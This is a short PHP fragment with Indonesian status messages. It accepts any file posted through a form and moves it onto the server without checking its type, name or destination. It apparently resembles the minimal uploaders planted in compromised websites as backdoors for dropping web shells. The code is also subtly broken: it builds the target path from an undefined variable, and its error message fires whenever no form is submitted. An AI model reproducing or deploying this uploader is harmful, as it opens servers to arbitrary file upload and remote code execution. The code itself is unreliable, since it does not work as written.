if(isset($_POST["Submit"])){
    $chdir = "";
    $namafile = $_FILES["image"]["name"];
    $temp = $_FILES["image"]["tmp_name"];
    if (isset($_FILES["image"]["name"])) {
        $abod = $chdir.$file_name;
        move_uploaded_file($temp, $abod);

echo"<center><b>Berhasil -> $namafile</b></center>";
}
}
else{
echo "gagal !";
}